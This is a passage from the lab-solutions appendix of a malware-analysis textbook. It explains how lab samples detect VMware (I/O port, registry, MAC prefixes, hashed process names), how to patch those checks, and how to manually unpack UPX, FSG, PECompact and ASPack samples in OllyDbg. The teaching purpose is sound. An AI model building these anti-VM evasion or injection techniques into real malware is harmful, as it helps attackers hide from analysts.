100061DC         cmp     ebx, 564D5868h  ;'VMXh' 
100061E2         setz    [ebp+var_1C]
...
100061FA         mov     al, [ebp+var_1C] 

Listing 17-7L: Querying the I/O communication port

The malware is querying the I/O communication port (0x5668) using the 
in instruction at . (VMware uses the virtual I/O port for communication 
between the VM and the host OS.) This VMware port is loaded into EDX at 
, and the action performed is loaded into ECX in the previous instruction. 
In this case, the action is 0xA, which means “get VMware version type.” EAX 
is loaded with the magic number 0x564d5868 (VMXh) at , and the malware 
checks that the magic number is echoed back immediately after the in 
instruction with the cmp at . The result of the comparison is moved into 
var_1C, and is ultimately moved into AL as sub_10006196’s return value. 

This malware doesn’t appear to care about the VMware version. It just 
wants to see if the I/O communication port echoes back with the magic 
value. At runtime, we can bypass the backdoor I/O communication port 
technique by replacing the in instruction with a NOP. Inserting the NOP 
allows the program to complete installation.

Before further analyzing the imports dynamically, let’s continue to 
examine the InstallRT export. The code in Listing 17-8L is taken from the 
start of the InstallRT export. The jz instruction at  determines if the anti-
VM check will be performed.

1000D847         mov     eax, off_10019034 ; [This is DVM]5
1000D84C         push    esi
1000D84D         mov     esi, ds:atoi
1000D853         add     eax, 0Dh 
1000D856         push    eax     ; Str
1000D857         call    esi     ; atoi
1000D859         test    eax, eax 
1000D85B         pop     ecx
1000D85C         jz      short loc_1000D88E 

Listing 17-8L: Checking the DVM static configuration option
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The code uses atoi (shown in bold) to turn a string into a number. The 
number is parsed out of the string [This is DVM]5 (also shown in bold). The 
reference to [This is DVM]5  is loaded into EAX, and EAX is advanced by 0xD 
at , which moves the string pointer to the 5 character, which is turned into 
the number 5 with the call to atoi. The test at  checks to see if the number 
parsed is 0. 

NOTE DVM is a static configuration option. If we open the malware in a hex editor, we can 
manually change the string to read [This is DVM]0, and the malware will no longer 
perform the anti-VM check.

The following excerpt shows a subset of the static configuration options 
in Lab17-02.exe, with a domain name and port 80 shown in bold. The LOG 
option (also shown in bold) is probably used by the malware to determine 
if xinstall.log should be created and used. 

[This is RNA]newsnews
[This is RDO]newsnews.practicalmalwareanalysis.com
[This is RPO]80
[This is DVM]5
[This is SSD]
[This is LOG]1

We’ll complete our analysis of InstallRT by analyzing the method 
sub_1000D3D0. This method is long, but all of its imported functions and 
logging strings make the analysis process much easier. 

The sub_1000D3D0 method begins by copying the malware into the 
Windows system directory. As shown in Listing 17-9L, InstallRT takes an 
optional argument. The strlen at  checks the string length of the argu-
ment. If the string length is 0 (meaning no argument), iexplore.exe is used 
(shown in bold).

1000D50E         push    [ebp+process_name]      ; Str
1000D511         call    strlen 
1000D516         test    eax, eax
1000D518         pop     ecx
1000D519         jnz     short loc_1000D522
1000D51B         push    offset aIexplore_exe    ; "iexplore.exe"

Listing 17-9L: Argument used as the target process name with iexplore.exe as the default

The export argument (or iexplore.exe) is used as a target process for 
DLL injection of this malware. At 0x1000D53A, the malware calls a function 
to find the target process in the process listing. If the process is found, the 
malware uses the process’s PID in the call to sub_1000D10D, which uses a com-
mon process injection trio of calls: VirtualAllocEx, WriteProcessMemory, and 
CreateRemoteThread. We conclude that InstallRT performs DLL injection to 
launch the malware, which we confirm by running the malware (after patch-
ing the static DVM option) and using Process Explorer to see the DLL load 
into another process.
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Next, we focus on the InstallSA export, which has the same high-level 
structure as InstallRT. Both exports check the DVM static configuration 
option before performing the anti-VM checks. The only difference between 
the two is that InstallSA calls sub_1000D920 for its main functionality. 

Examining sub_1000D920, we see that it takes an optional argument (by 
default Irmon). This function creates a service at 0x1000DBC4 if you specify a 
service name in the Svchost Netsvcs group, or it creates the Irmon service if 
you don’t specify a service name. The service is set with a blank description 
and a display name of X System Services, where X is the service name. After 
creating the service, InstallSA sets the ServiceDLL path to this malware in the 
Windows system directory. We confirm this by performing dynamic analysis 
and using rundll32.exe to call the InstallSA function. We use Regedit to look 
at the Irmon service in the registry and see the change shown in Figure 17-2L.

Figure 17-2L: Registry overwrite of the ServiceDLL for Irmon

Because the InstallSA method doesn’t copy the malware to the Windows 
system directory, this installation method fails to install the malware. 

Finally, we focus on the InstallSB export, which has the same high-level 
structure as InstallSA and InstallRT. All three exports check the DVM static 
configuration option before performing the anti-VM check. InstallSB calls 
sub_1000DF22 for its main functionality and contains an extra call to sub_10005A0A. 
The function sub_10005A0A disables Windows File Protection using the method 
discussed in Lab 12-4. 

The sub_1000DF22 function appears to contain functionality from both 
InstallSA and InstallRT. InstallSB also takes an optional argument containing 
a service name (by default NtmsSvc) that the malware uses to overwrite a ser-
vice on the local system. In the default case, the malware stops the NtmsSvc 
service if it is running and overwrites ntmssvc.dll in the Windows system direc-
tory with itself. The malware then attempts to start the service again. If the 
malware cannot start the service, the malware performs DLL injection, as 
seen with the call at 0x1000E571. (This is similar to how InstallRT works, 
except InstallSB injects into svchost.exe.) InstallSB also saves the old service 
binary, so that UninstallSB can restore it if necessary.

We’ll leave the full analysis of this malware to you, since our focus here is 
on anti-VM techniques. This malware is an extensive backdoor with consider-
able functionality, including keylogging, capturing audio and video, transfer-
ring files, acting as a proxy, retrieving system information, using a reverse 
command shell, injecting DLLs, and downloading and launching commands. 

To fully analyze this malware, analyze its export functions and static con-
figuration options before focusing on the backdoor network communication 
capability. See if you can write a script to decode network traffic generated by 
this malware.
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Lab 17-3 Solutions

Short Answers
1. The malware immediately terminates inside a VM, unlike Lab 12-2, 

which performs process replacement on svchost.exe.

2. If you force the jumps at 0x4019A1, 0x4019C0, and 0x401467 to be taken, 
and the jump at 0x401A2F to not be taken, the malware performs pro-
cess replacement using a keylogger from its resource section.

3. The malware uses four different anti-VM techniques: 

 It uses the backdoor I/O communication port.

 It searches the registry key SYSTEM\CurrentControlSet\Control\
DeviceClasses for the string vmware.

 It checks the MAC address to see if it is the default used by VMware.

 It searches the process list with a string-hashing function for pro-
cesses starting with the string vmware.

4. To avoid the anti-VM techniques used by this malware, you can remove 
VMware tools and modify the MAC address.

5. In OllyDbg, you can apply the following patches: 

 NOP-out the instruction at 0x40145D.

 Change the instructions at 0x40199F and 0x4019BE to xor eax, eax.

 Modify the instruction at 0x40169F to jmp 0x40184A.

Detailed Analysis
As noted in the lab description, this malware is the same as Lab12-02.exe 
except that it includes anti-VM techniques. Therefore, a good place to start 
is with a review of Lab 12-2. 

Searching for Vulnerable Instructions

We begin by loading the binary into IDA Pro and searching for vulnerable 
x86 instructions using findAntiVM.py (as in Lab 17-1). This script identifies 
one anti-VM instruction at 0x401AC8 and highlights it in red. We notice 
that this is the backdoor I/O communication port being queried via the in 
instruction. This anti-VM technique is contained in the function named 
sub_401A80 by IDA Pro. This function returns 1 if it is executing inside a VM; 
otherwise, it returns 0. There is only one cross-reference from the begin-
ning of the main function, as shown at  in Listing 17-10L.

0040199A         call    sub_401A80    ; Query I/O communication port 
0040199F         test    eax, eax 
004019A1         jz      short loc_4019AA 
004019A3         xor     eax, eax
004019A5         jmp     loc_401A71

Listing 17-10L: The check after the call to query the I/O communication port
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The jz instruction at  must be taken, or the main method will terminate 
immediately by jumping to 0x401A71. We disable this anti-VM technique by 
setting the zero flag to 1 when execution arrives at the jz instruction. To per-
manently disable this technique, change the test instruction at  into xor 
eax, eax as follows:

1. Start OllyDbg and place your cursor on line 0x40199F.

2. Press the spacebar and enter xor eax, eax in the text box.

3. Click Assemble.

Finding Anti-VM Techniques Using Strings

Next, we use Strings to compare the output from Lab 12-2 to the output from 
Lab17-03.exe. The following are the new strings found in this lab:

vmware
SYSTEM\CurrentControlSet\Control\DeviceClasses
Iphlpapi.dll
GetAdaptersInfo

These strings provide us with interesting leads. For example, the string 
SYSTEM\CurrentControlSet\Control\DeviceClasses appears to be a registry path, 
and GetAdaptersInfo is a function used for getting information about the net-
work adapter. Digging deeper into the first string in the listing, vmware, with 
IDA Pro, we find only one cross-reference to this string from the subroutine 
sub_4011C0. 

Figure 17-3L shows the cross-reference graph for sub_4011C0. The arrows 
leaving sub_4011C0 show that it calls several registry functions. The function 
also calls itself, as shown by the arrow that loops back (making it a recursive 
function). Based on the graph, we suspect that the function is recursively 
checking the registry for the string vmware. Finally, Figure 17-3L shows that 
sub_4011C0 is called from main. 

Figure 17-3L: Cross-reference graph for sub_4011C0

Listing 17-11L shows where sub_4011C0 is called at  inside the main func-
tion. Three parameters are pushed onto the stack before the call, including 
the registry key, which we saw in the strings listing. 
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004019AA         push    2                ; int
004019AC         push    offset SubKey    ; "SYSTEM\\CurrentControlSet\\Control\\Device"...
004019B1         push    80000002h        ; hKey
004019B6         call    sub_4011C0 
004019BB         add     esp, 0Ch
004019BE         test    eax, eax 
004019C0         jz      short loc_4019C9 

Listing 17-11L: The parameters for sub_4011C0 and the check after 

Since SYSTEM\CurrentControlSet\Control\DeviceClasses is passed to a recur-
sive registry function, we can assume this function is recursively checking the 
registry from that path on. This is a system residue check, as described in 
Chapter 17. If you examine sub_4011C0 further, you will see it loop through 
the registry subkeys under DeviceClasses. It compares the first six characters 
(after changing them to lowercase) of each subkey name to the string vmware. 

Since our goal is to have the malware run in our safe environment, we 
just need to ensure that the jz instruction at  is taken; otherwise, the pro-
gram will terminate immediately. We disable this anti-VM technique by 
making sure the zero flag is 1 when we arrive at the jz instruction. We can 
permanently disable this check by changing the test instruction at  into 
xor eax, eax using OllyDbg, as described in “Searching for Vulnerable 
Instructions” on page 670.

Next, we use IDA Pro to check the cross-references for the string 
GetAdaptersInfo. In Listing 17-12L, we see the string referenced at .

004019C9         push    offset aGetadaptersinf  ; "GetAdaptersInfo" 
004019CE         push    offset LibFileName      ; "Iphlpapi.dll"
004019D3         call    ds:LoadLibraryA
004019D9         push    eax                     ; hModule
004019DA         call    ds:GetProcAddress
004019E0         mov     GetAdaptersInfo_Address , eax

Listing 17-12L: The dynamic resolution of GetAdaptersInfo 

The malware dynamically resolves GetAdaptersInfo using LoadLibraryA and 
GetProcAddress, and loads the resulting address into a global variable, which 
we have renamed GetAdaptersInfo_Address at  to make it easier to recognize 
function calls to the runtime-loaded address of GetAdaptersInfo.

Checking the cross-references to GetAdaptersInfo_Address, we see it called in 
two places within the function sub_401670. At a high level, this function appears 
similar to a function we examined in Lab 12-2 that loaded the resource section 
containing the keylogger. However, the function in this lab appears to have a 
bunch of code added to the start. Let’s examine that code.

Listing 17-13L shows the start of a series of byte moves at . This byte 
array initialization can be converted to a byte array by double-clicking var_38 
and setting it to an array of size 27. We rename the array to Byte_Array to aid 
our analysis later on.
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004016A8        mov     [ebp+var_38], 0 
004016AC        mov     [ebp+var_37], 50h
004016B0        mov     [ebp+var_36], 56h
004016B4        mov     [ebp+var_35], 0
004016B8        mov     [ebp+var_34], 0Ch
004016BC        mov     [ebp+var_33], 29h
...
0040170C        mov     [ebp+var_1F], 0
00401710        mov     [ebp+var_1E], 27h
00401714        mov     [ebp+dwBytes], 0
0040171B        lea     eax, [ebp+dwBytes]
0040171E        push    eax
0040171F        push    0
00401721        call    GetAdaptersInfo_Address 

Listing 17-13L: Byte array initialization and first call to GetAdaptersInfo_Address

The call to GetAdaptersInfo_Address at  in Listing 17-13L takes two 
parameters: a linked list of IP_ADAPTER_INFO structures and the size of that 
linked list. Here, the linked list passed in is NULL, and the size will be 
returned in dwBytes. Calling GetAdaptersInfo_Address with the first parameter 
set to NULL is an easy way to figure out how much data it returns in order 
to allocate memory for the linked list structure to be used in a second call to 
GetAdaptersInfo_Address. This is the reason the malware uses dwBytes in subse-
quent calls to GetProcessHeap and HeapAlloc.

Listing 17-14L shows that the malware uses HeapAlloc at  and calls 
GetAdaptersInfo_Address a second time at .

0040174B         call    ds:HeapAlloc 
00401751         mov     [ebp+lpMem], eax 
00401754         cmp     [ebp+lpMem], 0
...
00401766         lea     edx, [ebp+dwBytes]
00401769         push    edx
0040176A         mov     eax, [ebp+lpMem]
0040176D         push    eax
0040176E         call    GetAdaptersInfo_Address  

Listing 17-14L: Second call to GetAdaptersInfo_Address, which populates the results 

The parameter labeled lpMem by IDA Pro is the return value from 
HeapAlloc, as seen at . This parameter is passed to the second call 
of GetAdaptersInfo_Address at  instead of NULL. After the call to 
GetAdaptersInfo_Address, the lpMem parameter is a pointer to a linked list 
of IP_ADAPTER_INFO structures with a size of dwBytes.

We must add the IP_ADAPTER_INFO structure to IDA Pro since it failed to 
recognize and label things fully. To do so, press the INSERT key within the 
Structures window and add the standard structure IP_ADAPTER_INFO. Now 
apply the structure to data in our disassembly as shown in Table 17-1L at , 
, and .
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The left side of Table 17-1L shows the code listing before we apply the 
IP_ADAPTER_INFO structure offsets and standard constants to the data. To apply 
the structure, right-click the locations , , and , and you will be given the 
option to turn numbers into the descriptive strings shown in bold in the 
right side of the table. Using the MSDN page for IP_ADAPTER_INFO as refer-
ence, we learn about the standard constants for Type and see that 0x6 and 
0x71 correspond to an adapter type of Ethernet or 802.11 wireless (so the 
address will be a MAC address). 

In the three comparisons shown in Table 17-1L, the malware is checking 
for Ethernet or wireless interfaces, and then confirming that the adapter 
address length is greater than 2. If this check fails, the malware loops to the 
next adapter in the linked list. If the check succeeds, the code shown in List-
ing 17-15L will execute. 

004017CC         jmp     short loc_4017D7
004017CE         mov     edx, [ebp+var_3C]
004017D1         add     edx, 3 
004017D4         mov     [ebp+var_3C], edx
...
004017DD         mov     ecx, 3 
004017E2         mov     eax, [ebp+var_3C] 
004017E5         lea     edi, [ebp+eax+Byte_Array] 
004017E9         mov     esi, [ebp+lpMem]
004017EC         add     esi, 194h  
004017F2         xor     edx, edx
004017F4         repe cmpsb
004017F6         jnz     short loc_401814

Listing 17-15L: Comparing the adapter address to Byte_Array

To make this code more readable, right-click the 194h at  and change it 
to IP_ADAPTER_INFO.Address. 

The code is comparing the currently referenced IP_ADAPTER_INFO’s address 
to an index in Byte_Array. Byte_Array is indexed at  using EAX, which is filled 
with var_3C, a loop counter that we see incremented by 3 at . The repe cmpsb 
instruction compares Byte_Array to the IP_ADAPTER_INFO.Address for 3 bytes 
(because ECX is set to 3 at ), which means it is checking to see if the first 
3 bytes of the MAC address are {00h,50h,56h} or {00h,0Ch,29h} and so on. An 

Table 17-1L: Before and After Applying Structure Information and Standard Constants

Before After

mov    edx, [ebp+lpMem]
cmp    dword ptr [edx+1A0h], 6
jz     short loc_4017B9
mov    eax, [ebp+lpMem]
cmp    dword ptr [eax+1A0h], 71h
jnz    short loc_401816
mov    ecx, [ebp+lpMem]
cmp    dword ptr [ecx+190h], 2
jbe    short loc_401816

mov    edx, [ebp+lpMem]
cmp    [edx+IP_ADAPTER_INFO.Type], MIB_IF_TYPE_ETHERNET
jz     short loc_4017B9
mov    eax, [ebp+lpMem]
cmp    [eax+IP_ADAPTER_INFO.Type], IF_TYPE_IEEE80211
jnz    short loc_401816
mov    ecx, [ebp+lpMem]
cmp    [ecx+IP_ADAPTER_INFO.AddressLength], 2
jbe    short loc_401816
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Internet search for “00,0C,29” tells us that it is a common start of the default 
MAC address for VMware. Since the array is of size 27, we know that this code 
compares nine different MAC addresses (most associated with VMware).

We permanently disable this check by avoiding the MAC address com-
parisons altogether. Modify the jnz instruction at 0x40169F to be jmp 0x40184A 
using OllyDbg’s Assemble functionality, as we did earlier to force the mal-
ware to skip the adapter checks and go straight to the resource section 
manipulation code.

Reviewing the Final Check

The final anti-VM check in this malware is in sub_401400, which performs pro-
cess replacement. The code in Listing 17-16L shows a call at , which deter-
mines if the jz at  will be taken. If the jump is not taken, the code will 
terminate without performing the process replacement. 

00401448         xor     eax, eax 
...
00401456         push    6
00401458         push    0F30D12A5h
0040145D         call    sub_401130 
00401462         add     esp, 8
00401465         test    eax, eax
00401467         jz      short loc_401470 

Listing 17-16L: Final anti-VM check

As shown in Listing 17-16L, the anti-VM function sub_401130 takes 
two parameters: 6 and the integer 0xF30D12A5. This function loops through 
the process listing by calling CreateToolhelp32Snapshot, Process32First, and 
Process32Next. Process32Next is inside a loop with the code shown in 
Listing 17-17L.

0040116D         mov     edx, [ebp+arg_4]
00401170         push    edx
00401171         lea     eax, [ebp+pe.szExeFile]
00401177         push    eax
00401178         call    sub_401060   ; make lowercase
0040117D         add     esp, 4
00401180         push    eax
00401181         call    sub_401000   ; get string hash
00401186         add     esp, 8
00401189         mov     [ebp+var_130], eax
0040118F         mov     ecx, [ebp+var_130]
00401195         cmp     ecx, [ebp+arg_0] 

Listing 17-17L: Code for comparing a process name string

The function sub_401060 called at  takes a single parameter containing 
the name of the process and sets all of the parameter’s characters to lower-
case. The function sub_401000 called at  takes two parameters: 6 (arg_4) and 
the lowercase string returned from sub_401060. The result of this function is 
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compared to the 0xF30D12A5 (arg_0) at . If the result is equal to 0xF30D12A5, 
the function will return 1, which will cause the malware to terminate. In 
other words, sub_401000 is taking the process name and turning it into a num-
ber, and then seeing if that number is equal to a preset value. sub_401000 is a 
simple string-hashing function. Given the parameter "vmware", it returns 
0xF30D12A5. The malware is cleverly using a string hash to avoid using the 
string vmware in the comparison, which would have made easy pickings for the 
malware analyst.

To permanently disable this final anti-VM check, we can NOP-out the 
call to sub_401130 at 0x40145D. This forces the malware to skip the check 
and go straight to the process-replacement code because the xor at  in 
Listing 17-16L ensures that the EAX register will be 0.

Summary

This malware performs four different checks for VMware. Three of these 
check for system residue, and the other queries the I/O communication 
port. The system residue checking techniques include the following:

 Check the first 3 bytes of the MAC address for known values associated 
with virtual machines.

 Check the registry for the key vmware under the registry path SYSTEM\
CurrentControlSet\Control\DeviceClasses.

 Check the process listing for processes beginning with the string vmware 
in any combination of uppercase and lowercase letters.

Lab 18-1 Solutions

Lab18-01.exe is Lab 14-1 packed with a slightly modified version of UPX, one 
of the most popular packers encountered in the wild. The modifications to 
UPX make it more resistant to signature detection. When you run PEiD on 
the packed executable, it does not detect the packer. However, a section 
in the file named UPX2 should make you suspect that a UPX-like packer is 
being used. Running UPX –d on the packed file fails because of the modifica-
tions made to the packer. 

We first try to unpack the program manually by loading the program in 
OllyDbg to find the OEP. First, we simply page down through the code to see 
if the tail jump is obvious. As you can see in Listing 18-1L, it is.

00409F32   CALL EBP
00409F34   POP EAX
00409F35   POPAD
00409F36   LEA EAX,DWORD PTR SS:[ESP-80]
00409F3A   PUSH 0
00409F3C   CMP ESP,EAX
00409F3E   JNZ SHORT Lab14-1.00409F3A
00409F40   SUB ESP,-80
00409F43  JMP Lab14-1.0040154F
00409F48    DB 00
684 Appendix C



1 8
00409F49    DB 00
00409F4A    DB 00
00409F4B    DB 00
00409F4C    DB 00
00409F4D    DB 00
00409F4E    DB 00

Listing 18-1L: Tail jump for the modified UPX packer

The tail jump at  is followed by a series of 0x00 bytes. It jumps to a loca-
tion that is very far away. We set a breakpoint on the tail jump and resume 
execution of our program. Once the breakpoint is hit, we single-step on the 
jmp instruction to take us to the OEP. 

Next, we dump the process to a disk using PluginsOllyDumpDump 
Debugged Process. Accept all of the default options, click Dump, and then 
select a filename for the dumped process.

We’ve dumped the unpacked program to disk, and we’re finished. We 
can now view the program’s imports and strings, and easily analyze it with 
IDA Pro. A quick analysis reveals that this is the same code as Lab 14-1.

Lab 18-2 Solutions

First, we run PEiD on the Lab18-02.exe file, and we learn that the packer is 
FSG 1.0 -> dulek/xt. To unpack this program manually, we first load it into 
OllyDbg. Several warnings state that the file may be packed. Since we already 
know that, we just click through the warnings.

When we load the program, it starts at entry point 0x00405000. The easi-
est approach is to try the Find OEP by Section Hop option in the OllyDump 
plug-in. We select PluginsOllyDumpFind OEP by Section Hop (Trace 
Over), which stops the program at 0x00401090. This is encouraging, because 
0x00401090 is close to the beginning of the executable. (The first set of exe-
cutable instructions within a PE file is typically located at 0x00401000, and 
this is only 0x90 past that, which suggests that the Find OEP plug-in tool has 
worked.) At the instruction identified by the OllyDump plug-in, we see the 
code in Listing 18-2L.

00401090     DB 55                                    ;  CHAR 'U'
00401091     DB 8B
00401092     DB EC
00401093     DB 6A                                    ;  CHAR 'j'
00401094     DB FF
00401095     DB 68                                    ;  CHAR 'h'

Listing 18-2L: Code at the OEP that has not been analyzed by OllyDbg

Depending on your version, OllyDbg may not have disassembled this 
code because it did not realize that it is code. This is somewhat common and 
unpredictable when dealing with packed programs, and it can be a sign that 
the code is part of the original code, rather than part of the unpacking stub. 
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To force OllyDbg to disassemble the code, right-click the first byte and select 
AnalysisAnalyze Code. This displays the code for the beginning of the pro-
gram, as shown in Listing 18-3L.

00401090  PUSH EBP                ;  msvcrt.77C10000
00401091  MOV EBP,ESP
00401093  PUSH -1
00401095  PUSH Lab07-02.00402078
0040109A  PUSH Lab07-02.004011D0

Listing 18-3L: Code at the OEP after it has been analyzed by OllyDbg

The first two instructions in Listing 18-3L look like the start of a func-
tion, further convincing us that we have found the OEP. Scrolling down a 
little, we also see the string www.practicalmalwareanalysis.com, which is further 
evidence that this is part of the original program and not the unpacking stub.

Next, we dump the process to a disk using PluginsOllyDumpDump 
Debugged Process. Leave all of the default options, click Dump, and select a 
filename for the dumped process. 

Now, we’re finished. We can view the program’s imports and strings, and 
easily analyze it with IDA Pro. A quick analysis reveals that this is the same 
code as Lab07-02.exe. 

Lab 18-3 Solutions

First, we run PEiD on the Lab18-03.exe file, and it tells us that the packer is 
PECompact 1.68 - 1.84 -> Jeremy Collake. We load the program into OllyDbg 
and see several warnings that the file may be packed. We can ignore these 
warnings.

The program starts at address 0x00405130. We try the Find OEP by 
Section Hop (Trace Into) option in the OllyDump plug-in. We see the code 
shown in Listing 18-4L as OllyDump’s guess at the OEP. However, there are 
several reasons this doesn’t look like the OEP. The most obvious is that it 
accesses values above the base pointer at . If this were the file’s entry point, 
any data above the base pointer would not have been initialized.

0040A110   ENTER 0,0
0040A114   PUSH EBP
0040A115 MOV ESI,DWORD PTR SS:[EBP+8]
0040A118   MOV EDI,DWORD PTR SS:[EBP+C]
0040A11B   CLD
0040A11C   MOV DL,80
0040A11E   MOV AL,BYTE PTR DS:[ESI]
0040A120   INC ESI
0040A121   MOV BYTE PTR DS:[EDI],AL

Listing 18-4L: OllyDump’s guess at the OEP after using the Find OEP by Section Hop (Trace 
Into) option
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Next, we try the Find OEP by Section Hop (Trace Over) option and we 
see that the code stops on a ret instruction at the end of a function in ntdll, 
which is clearly not the OEP. 

Since the OllyDump plug-in didn’t work, we examine the code to see if 
the tail jump is easy to spot. As shown in Listing 18-5L, we eventually come to 
some code that looks like a tail jump. This code is a retn instruction followed 
by a bunch of zero bytes. We know that the code can’t go past this point. 

00405622   SCAS DWORD PTR ES:[EDI]
00405623   ADD BH,CH
00405625   STC
00405626 RETN 0EC3F
00405629   ADD BYTE PTR DS:[EAX],AL
0040562B   ADD BYTE PTR DS:[EAX],AL
0040562D   ADD BYTE PTR DS:[EAX],AL

Listing 18-5L: A possible tail jump

Now, we set a breakpoint on the retn instruction at  and start our pro-
gram. First, we set a regular breakpoint (INT 3). OllyDbg displays a warning, 
because the breakpoint is outside the code section and may cause problems. 
When we run our program, we eventually get an exception that the program 
can’t handle, and we see that the code at our breakpoint has been changed. 
Now we know that the code is self-modifying and that our breakpoint has not 
worked properly. 

When dealing with self-modifying code, it’s often useful to use a hard-
ware breakpoint instead of a software breakpoint because the self-modifying 
code will overwrite the INT 3 (0xcc) instruction used to implement software 
breakpoints. Starting over with a hardware breakpoint, we run the program 
and see that it starts to run without ever hitting our breakpoint. This tells us 
that we probably haven’t found the tail jump and we need to try another 
strategy.

Looking at the entry point of the packed program, we see the instruc-
tions shown in Listing 18-6L.

00405130 JMP SHORT Lab09-02.00405138
00405132   PUSH 1577
00405137   RETN
00405138 PUSHFD
00405139 PUSHAD
0040513A CALL Lab09-02.00405141
0040513F   XOR EAX,EAX

Listing 18-6L: Start of the unpacking stub

The first instruction at  is an unconditional jump that skips the next 
two instructions. The first two instructions that affect memory are pushfd at  
and pushad at . These instructions save all of the registers and flags. It’s 
likely that the packing program will restore all the registers and flags immedi-
ately before it jumps to the OEP, so we can try to find the OEP by setting an 
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access breakpoint on the stack. Presumably, there will be a popad or popfd 
instruction right before the tail jump, which will lead us to the OEP.

We restart the program and step-over the first three instructions. The 
program should be stopped at the call instruction at  in Listing 18-6L. Now 
we need to find the value of the stack pointer to set a breakpoint. To do so, we 
examine the registers window, as shown on the top right of Figure 18-1L.

Figure 18-1L: Setting a hardware breakpoint on the stack to help find OEP

The stack is at address 0x12FFA0, as shown at  in Figure 18-1L. To 
set a breakpoint, we first load that address in the memory dump by right-
clicking  and selecting Follow in Dump. This will make the memory 
dump window at  appear as it does in Figure 18-1L.

To set a breakpoint on the last piece of data pushed onto the stack, we 
right-click the first data element on the stack at  in Figure 18-1L and select 
BreakpointMemory on Access. We then run our program. Unfortunately, 
it reaches an unhandled exception similar to when we set a breakpoint before. 
Next, we set the breakpoint with BreakpointHardware, on AccessDword. 
When we start our program, our breakpoint is triggered. The program will 
break at the instructions shown in Listing 18-7L.

0040754F   POPFD
00407550   PUSH EAX
00407551   PUSH Lab18-03.00401577
00407556   RETN 4

Listing 18-7L: Instructions where our stack breakpoint is triggered showing the tail jump

A few instructions into our code, we see a retn instruction that transfers 
execution to another location. This is probably the tail jump. We step to that 
instruction to determine where it goes and see the code in Listing 18-8L. This 
looks like the original code; the call to GetVersion at  is a dead giveaway.

�

�

�
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NOTE As in Lab18-02.exe, you may need to force OllyDbg to disassemble this code using the 
AnalysisAnalyze Code command.

00401577 PUSH EBP
00401578   MOV EBP,ESP
0040157A   PUSH -1
0040157C   PUSH Lab18-03.004040C0
00401581   PUSH Lab18-03.0040203C         ;  SE handler installation
00401586   MOV EAX,DWORD PTR FS:[0]
0040158C   PUSH EAX
0040158D   MOV DWORD PTR FS:[0],ESP
00401594   SUB ESP,10
00401597   PUSH EBX
00401598   PUSH ESI
00401599   PUSH EDI
0040159A   MOV DWORD PTR SS:[EBP-18],ESP
0040159D CALL DWORD PTR DS:[404030]     ;  kernel32.GetVersion

Listing 18-8L: The OEP for Lab 18-3 

Now, with EIP pointing to the first instruction at , we select Plugins
OllyDumpDump Debugged Process. We click the Get EIP as OEP button, 
leaving all the other options with their default settings, and then click Dump. 
In the dialog, we enter a filename to save a copy of our unpacked program. 

When we’re finished, we run the program and open it in IDA Pro to ver-
ify that it has been unpacked successfully. A brief analysis of the program 
reveals that the functionality is the same as Lab09-02.exe.

This packer uses a variety of techniques to make it difficult to unpack 
and recognize the tail jump. Several of the usual strategies were ineffective 
because the packer takes explicit steps to thwart them. If using a particular 
technique seems difficult on a packed program, try different approaches 
until one works. In rare cases, none of the techniques will work easily.

Lab 18-4 Solutions

We open the Lab18-04.exe file in PEiD and learn that it is packed with 
ASPack 2.12 -> Alexey Solodovnikov. We then open the malware in OllyDbg 
and see that the first instruction is pushad, which saves the registers onto the 
stack. We know from Chapter 18 that setting a breakpoint on the stack to 
search for the corresponding popad instruction may be a good strategy for this 
packer. We step-over the pushad instruction, as shown in Listing 18-9L at .

00411001 PUSHAD
00411002   CALL Lab18-04.0041100A
00411007   JMP 459E14F7

Listing 18-9L: Start of the unpacking stub

We’re going to use the same technique that we used in the previous lab. 
Once we step-over the pushad instruction, our window looks like Figure 18-2L.
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Figure 18-2L: Setting a breakpoint on the stack for Lab18-04.exe

We right-click esp at  and select Follow in Dump in order to display the 
memory window, as shown in Figure 18-2L. We then click the top of the stack 
at  and select BreakpointHardware, on AccessDWORD to set a break-
point on the stack instruction.

We press F9 to start the program again. The program eventually hits our 
breakpoint, and we see the code shown in Listing 18-10L.

004113AF   POPAD
004113B0 JNZ SHORT Lab18-04.004113BA
004113B2   MOV EAX,1
004113B7   RETN 0C
004113BA   PUSH Lab18-04.00403896
004113BF   RETN

Listing 18-10L: Instructions after our stack breakpoint is triggered

We see a jnz instruction at , immediately after the popad instruction. We 
know that the popad should be followed closely by the tail jump, which trans-
fers execution to the OEP. We step-over the jnz instruction and see that it 
jumps just a few instructions ahead. There we see a push followed by a retn, 
which transfers execution to the address pushed onto the stack and might be 
our tail jump.

When we step over the retn instruction, we see that our instruction 
pointer has been transferred to another area of the program. As in previous 
labs, OllyDbg may not have disassembled this code, as shown in Listing 18-11L.

00403896     DB 55                                    ;  CHAR 'U'
00403897     DB 8B
00403898     DB EC

�

�
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00403899     DB 6A                                    ;  CHAR 'j'
0040389A     DB FF
0040389B     DB 68                                    ;  CHAR 'h'
0040389C     DB 88
0040389D     DB B1
0040389E     DB 40                                    ;  CHAR '@'
0040389F     DB 00

Listing 18-11L: OEP of the code before OllyDbg has analyzed it

We know this is code, so we tell OllyDbg to disassemble it by right-clicking 
the first byte and selecting AnalysisAnalyze Code. Now we see what looks 
like legitimate code with the telltale GetModuleHandleA function, as shown in 
Listing 18-12L. This confirms our suspicions that this is the OEP.

00403896  PUSH EBP
00403897  MOV EBP,ESP
00403899  PUSH -1
0040389B  PUSH Lab18-04.0040B188
004038A0  PUSH Lab18-04.004064AC                   ;  SE handler installation
004038A5  MOV EAX,DWORD PTR FS:[0]
004038AB  PUSH EAX
004038AC  MOV DWORD PTR FS:[0],ESP
004038B3  SUB ESP,10
004038B6  PUSH EBX
004038B7  PUSH ESI
004038B8  PUSH EDI
004038B9  MOV DWORD PTR SS:[EBP-18],ESP
004038BC  CALL DWORD PTR DS:[40B0B8]               ;  kernel32.GetVersion

Listing 18-12L: OEP after OllyDbg has analyzed the code

Next, we select PluginsOllyDumpDump Debugged Process. We 
click the Get EIP as OEP button, accept the default settings, and click 
Dump. In the dialog, we enter a filename to save a copy of the unpacked 
program.

Having dumped the program, run it to verify that it works properly. 
Then open it in IDA Pro to verify that it is unpacked and has the same 
functionality as Lab09-01.exe.

Lab 18-5 Solutions

The program in the Lab18-05.exe file is Lab07-01.exe packed with WinUpack. 
When we load this file into PEiD, it’s recognized as being packed with 
WinUpack 0.39. However, the file’s PE header is badly damaged. If we load 
it into OllyDbg, IDA Pro, or PEview, we get several errors that make it impos-
sible to view information from the PE header. 

We load the file into OllyDbg and see an error stating “Bad or unknown 
